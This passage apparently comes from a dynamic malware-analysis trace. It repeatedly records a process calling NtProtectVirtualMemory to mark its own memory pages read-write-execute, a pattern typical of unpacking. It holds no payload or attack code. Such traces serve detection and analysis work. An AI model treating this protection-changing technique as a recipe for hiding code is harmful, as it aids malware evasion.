NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.743] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.811] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.849] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.882] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.900] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.911] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.965] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0309.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.000] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.099] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.194] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.206] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.225] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.437] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.477] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.575] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.591] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.825] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0310.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.053] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.063] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.114] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.132] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.143] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 